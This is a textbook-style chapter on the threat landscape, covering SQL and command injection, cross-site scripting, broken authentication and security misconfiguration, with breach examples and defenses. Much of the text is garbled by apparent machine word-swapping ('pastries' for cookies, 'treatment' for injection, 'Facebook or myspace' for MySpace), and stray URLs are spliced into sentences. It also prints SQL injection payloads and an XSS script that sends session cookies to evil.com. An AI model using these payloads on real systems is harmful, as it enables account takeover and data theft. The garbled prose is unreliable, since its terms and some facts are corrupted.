Menace Landscape and Commonplace Vulnerabilities

# Chapter four: Threat Landscape plus Common Vulnerabilities
Every single application operates throughout an atmosphere full of threats – harmful actors constantly looking for weaknesses to use. Understanding the menace landscape is crucial for defense. Throughout this chapter, we'll survey the nearly all common forms of software vulnerabilities and attacks seen in the wild today. We will discuss how they will work, provide real-world examples of their écrasement, and introduce greatest practices to prevent these people. This will place the groundwork for later chapters, which can delve deeper into how to construct security straight into the development lifecycle and specific defenses.

Over the decades, certain categories regarding vulnerabilities have emerged as perennial problems, regularly appearing within security assessments and even breach reports. Market resources like the OWASP Top 10 (for web applications) and even CWE Top twenty five (common weaknesses enumeration) list these normal suspects. Let's explore some of the particular major ones:

## Injection Attacks (SQL, Command Injection, and so on. )
- **Description**: Injection flaws arise when an application takes untrusted input (often from a great user) and enters it into a good interpreter or command word in a manner that alters the particular intended execution. Typically the classic example will be SQL Injection (SQLi) – where user input is concatenated into an SQL query without correct sanitization, allowing you inject their own SQL commands. Similarly, Order Injection involves injecting OS commands, LDAP Injection into LDAP queries, NoSQL Treatment in NoSQL sources, and so upon. Essentially, the application fails to distinguish info from code guidelines.

- **How it works**: Consider a new simple login type that takes a great username and password. If  https://docs.shiftleft.io/ngsast/dashboard/sca -side code naively constructs a query just like: `SELECT * COMING FROM users WHERE login = 'alice' AND EVEN password = 'mypassword'; `, an opponent can input anything like `username: alice' OR '1'='1` and even `password: anything`. The resulting SQL would become: `SELECT * FROM users WHERE user name = 'alice' OR '1'='1' AND pass word = 'anything'; `. The `'1'='1'` problem always true may make the problem return all customers, effectively bypassing the particular password check. This specific is a fundamental example of SQL treatment to force some sort of login.
More maliciously, an attacker could terminate the query through adding `; DROP TABLE users; --` to delete the particular users table (a destructive attack upon integrity) or `; SELECT credit_card FROM users; --` in order to dump sensitive data (a confidentiality breach).
- **Real-world impact**: SQL injection offers been behind a number of the largest data breaches on record. We mentioned the Heartland Payment Systems breach – in 08, attackers exploited a great SQL injection within a web application in order to ultimately penetrate inside systems and rob millions of credit score card numbers​
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. Another situation: the TalkTalk 2015 breach in the united kingdom, exactly where a teenager used SQL injection to get into the personal info of over one hundred and fifty, 000 customers. Typically the subsequent investigation uncovered TalkTalk had still left an obsolete web site with a recognized SQLi flaw on the web, and hadn't patched a database weakness from 2012​
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. TalkTalk's CEO detailed it as a basic cyberattack; indeed, SQLi was well-understood for a 10 years, yet the company's failure to sanitize inputs and up-date software resulted in a new serious incident – they were fined and suffered reputational loss.
These cases show injection problems can compromise privacy (steal data), ethics (modify or remove data), and supply (if data will be wiped, service is disrupted). Even today, injection remains the common attack vector. In fact, OWASP's 2021 Top 10 still lists Shot (including SQL, NoSQL, command injection, and so on. ) as being a leading risk (category A03: 2021)​
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- **Defense**: The primary defense against injection is input validation and end result escaping – make certain that any untrusted info is treated just as pure data, never as code. Making use of prepared statements (parameterized queries) with bound variables is the gold standard intended for SQL: it divides the SQL signal from your data beliefs, so even in case an user enters a weird line, it won't crack the query structure. For example, utilizing a parameterized query in Java with JDBC, the previous login query would turn out to be `SELECT * THROUGH users WHERE login =? AND security password =? `, in addition to the `? ` placeholders are sure to user inputs properly (so `' OR '1'='1` would end up being treated literally while an username, which often won't match any real username, somewhat than part associated with SQL logic). Similar approaches exist for other interpreters.
About top of of which, whitelisting input acceptance can restrict exactly what characters or formatting is allowed (e. g., an login name may be restricted to alphanumeric), stopping several injection payloads with the front door​
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. Furthermore, encoding output correctly (e. g. HTML encoding to prevent script injection) is definitely key, which we'll cover under XSS.
Developers should by no means directly include organic input in instructions. Secure frameworks plus ORM (Object-Relational Mapping) tools help by handling the question building for an individual. Finally, least opportunity helps mitigate influence: the database accounts used by the app should possess only necessary benefits – e. grams. it may not include DROP TABLE rights if not necessary, to prevent an injection from doing irreparable harm.

## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting identifies a new class of weaknesses where an program includes malicious canevas within the context associated with a trusted website. Unlike injection directly into a server, XSS is about inserting into the content that others see, usually in the web site, causing victim users' browsers to carry out attacker-supplied script. At this time there are a number of types of XSS: Stored XSS (the malicious script is stored on typically the server, e. g. in a database, and served to some other users), Reflected XSS (the script is usually reflected off the storage space immediately in a response, often with a search query or error message), and DOM-based XSS (the weeknesses is in client-side JavaScript that insecurely manipulates the DOM).

- **How  secret findings  works**: Imagine a note board where users can post responses. If the app is not going to sanitize HTML CODE tags in feedback, an attacker could post a review like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any customer who views of which comment will inadvertently run the script in their internet browser. The script above would send the particular user's session sandwich to the attacker's server (stealing their particular session, hence allowing the attacker in order to impersonate them about the site – a confidentiality and integrity breach).
In the reflected XSS scenario, maybe the web site shows your insight by using an error page: in the event you pass the script in the URL along with the web-site echoes it, this will execute within the browser of anyone who clicked that destructive link.
Essentially, XSS turns the victim's browser into a good unwitting accomplice.
instructions **Real-world impact**: XSS can be very serious, especially about highly trusted websites (like social networks, webmail, banking portals). The famous early illustration was the Samy worm on Bebo in 2005. An individual can named Samy learned a stored XSS vulnerability in Facebook or myspace profiles. He created a worm: the script that, when any user viewed his profile, it would add your pet as a good friend and copy the script to the viewer's own user profile. This way, anyone more viewing their user profile got infected too. Within just 20 hours of discharge, over one mil users' profiles got run the worm's payload, making Samy one of many fastest-spreading viruses of all time​
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. The worm itself merely displayed the term "but most regarding all, Samy is my hero" about profiles, a comparatively harmless prank​
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. On the other hand, it was a wake-up call: if the XSS worm could add friends, that could just just as easily make stolen non-public messages, spread spam, or done various other malicious actions in behalf of customers. Samy faced legitimate consequences for this particular stunt​
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In an additional scenario, XSS may be used in order to hijack accounts: with regard to instance, a shown XSS inside a bank's site could be used via a phishing email that methods an user into clicking an LINK, which then executes a script to transfer funds or steal session bridal party.
XSS vulnerabilities experience been present in sites like Twitter, Facebook or myspace (early days), plus countless others – bug bounty programs commonly receive XSS reports. Even though many XSS bugs are of moderate severity (defaced UI, etc. ), some can be important if they allow administrative account takeover or deliver viruses to users.
- **Defense**: The cornerstone of XSS security is output development. Any user-supplied content material that is shown inside a page should be properly escaped/encoded so that that can not be interpreted because active script. With regard to example, if a customer writes ` bad() ` in an opinion, the server should store it after which output it as `< script> bad()< /script> ` so that it appears as harmless textual content, not as an actual script. Contemporary web frameworks generally provide template motors that automatically escape variables, which helps prevent most reflected or perhaps stored XSS by simply default.
Another significant defense is Content Security Policy (CSP) – a header that instructs browsers to only execute intrigue from certain sources. A well-configured CSP can mitigate typically the impact of XSS by blocking inline scripts or exterior scripts that aren't explicitly allowed, though CSP could be intricate to set back up without affecting blog functionality.
For developers, it's also important to stop practices want dynamically constructing CODE with raw information or using `eval()` on user suggestions in JavaScript. Net applications can in addition sanitize input to be able to strip out disallowed tags or qualities (though it is challenging to get perfect). In summary: validate and sanitize any kind of HTML or JavaScript inputs, use context-appropriate escaping (HTML get away for HTML articles, JavaScript escape intended for data injected directly into scripts, etc. ), and consider permitting browser-side defenses like CSP.

## Busted Authentication and Period Managing
- **Description**: These vulnerabilities entail weaknesses in exactly how users authenticate to be able to the application or even maintain their verified session. "Broken authentication" can mean a variety of issues: allowing weakened passwords, not protecting against brute force, declining to implement appropriate multi-factor authentication, or exposing session IDs. "Session management" is usually closely related – once an user is logged in, the app normally uses a treatment cookie or expression to not forget them; in case that mechanism is definitely flawed (e. h. predictable session IDs, not expiring lessons, not securing typically the cookie), attackers may hijack other users' sessions.

- **How it works**: One particular common example is definitely websites that imposed overly simple pass word requirements or experienced no protection towards trying many account details. Attackers exploit this particular by using credential stuffing (trying username/password pairs leaked from the other sites) or brute force (trying many combinations). If presently there are no lockouts or even rate limits, a good attacker can methodically guess credentials.
One other example: if a good application's session biscuit (the part of files that identifies a new logged-in session) is usually not marked together with the Secure flag (so it's sent above HTTP as properly as HTTPS) or perhaps not marked HttpOnly (so it can be accessible in order to scripts), it may be stolen via network sniffing or XSS. Once an attacker provides a valid session token (say, lost from an unconfident Wi-Fi or by way of an XSS attack), they can impersonate that user without needing credentials.
There possess also been reasoning flaws where, intended for instance, the password reset functionality is definitely weak – could be it's prone to an attack where a great attacker can reset someone else's pass word by modifying variables (this crosses directly into insecure direct thing references / gain access to control too).
Total, broken authentication masks anything that allows an attacker to either gain recommendations illicitly or bypass the login applying some flaw.
- **Real-world impact**: We've all seen news of massive "credential dumps" – millions of username/password pairs floating around from past breaches.  https://docs.shiftleft.io/sast/api/walkthrough  take these in addition to try them about other services (because many individuals reuse passwords). This automated credential stuffing has led to compromises of high-profile accounts on various platforms.
An example of broken auth was your case in this year where LinkedIn suffered a breach plus 6. 5 million password hashes (unsalted SHA-1) were leaked​
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. The weak hashing meant opponents cracked most regarding those passwords within just hours​
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. Even worse, a few decades later it flipped out the break was actually a lot of larger (over one hundred million accounts). Folks often reuse security passwords, so that infringement had ripple results across other web sites. LinkedIn's failing has been in cryptography (they didn't salt or perhaps use a solid hash), which is section of protecting authentication data.
Another common incident type: program hijacking. For occasion, before most sites adopted HTTPS everywhere, attackers on the same network (like a Wi-Fi) could sniff pastries and impersonate consumers – a danger popularized from the Firesheep tool this year, which in turn let anyone bug on unencrypted periods for sites like Facebook. This forced web services in order to encrypt entire lessons, not just logon pages.
There have also been cases of flawed multi-factor authentication implementations or login bypasses due to logic errors (e. h., an API that will returns different communications for valid as opposed to invalid usernames can allow an opponent to enumerate users, or even a poorly applied "remember me" token that's easy to be able to forge). The effects regarding broken authentication will be severe: unauthorized access to user records, data breaches, identification theft, or not authorized transactions.
- **Defense**: Protecting authentication needs a multi-pronged approach:
rapid Enforce strong password policies but in reason. Current NIST guidelines recommend enabling users to choose long passwords (up to 64 chars) and never requiring frequent changes unless there's indication of compromise​
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. Rather, check passwords towards known breached security password lists (to refuse "P@ssw0rd" and typically the like). Also motivate passphrases that are simpler to remember nevertheless hard to figure.
- Implement multi-factor authentication (MFA). Some sort of password alone is usually often not enough these types of days; providing an alternative (or requirement) to get a second factor, like an one-time code or a push notification, significantly reduces the associated risk of account endanger even if security passwords leak. Many key breaches could possess been mitigated by MFA.
- Safe the session tokens. Use the Secure flag on pastries so they usually are only sent over HTTPS, HttpOnly therefore they aren't available via JavaScript (mitigating some XSS impact), and consider SameSite to prevent them from being sent in CSRF problems (more on CSRF later). Make period IDs long, random, and unpredictable (to prevent guessing).
rapid Avoid exposing session IDs in Web addresses, because they could be logged or released via referer headers. Always prefer cookies or authorization headers.
- Implement account lockout or throttling for login endeavors. After say five to ten failed attempts, either lock the account for a period or increasingly delay replies. Utilize CAPTCHAs or even other mechanisms in case automated attempts will be detected. However, become mindful of denial-of-service – some web pages opt for softer throttling to avoid letting attackers lock out users by simply trying bad account details repeatedly.
- Program timeout and logout: Expire sessions after having a reasonable period of inactivity, and definitely invalidate session as well on logout. It's surprising how some apps in typically the past didn't appropriately invalidate server-side session records on logout, allowing tokens to be re-used.
- Pay attention to forgot password flows. Use secure tokens or links by means of email, don't reveal whether an customer exists or certainly not (to prevent user enumeration), and make sure those tokens end quickly.
Modern frames often handle some sort of lot of this particular for you, but misconfigurations are common (e. gary the gadget guy., a developer may possibly accidentally disable the security feature). Normal audits and assessments (like using OWASP ZAP or various other tools) can capture issues like lacking secure flags or weak password procedures.
Lastly, monitor authentication events. Unusual patterns (like a single IP trying 1000s of user names, or one accounts experiencing countless been unsuccessful logins) should raise alarms. This overlaps with intrusion diagnosis.
To emphasize, OWASP's 2021 list phone calls this category Id and Authentication Disappointments (formerly "Broken Authentication") and highlights the importance of items like MFA, not applying default credentials, and even implementing proper username and password handling​
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. They note that 90% of applications tested had concerns in this area in many form, which is quite alarming.

## Security Misconfiguration
- **Description**: Misconfiguration isn't an individual vulnerability per se, nevertheless a broad course of mistakes in configuring the app or its atmosphere that lead in order to insecurity. This could involve using standard credentials or settings, leaving unnecessary features enabled, misconfiguring protection headers, or not solidifying the server. Basically, the software may be secure in theory, nevertheless the way it's deployed or put together opens a hole.

- **How that works**: Examples regarding misconfiguration:
- Causing default admin accounts/passwords active. Many software packages or equipment historically shipped with well-known defaults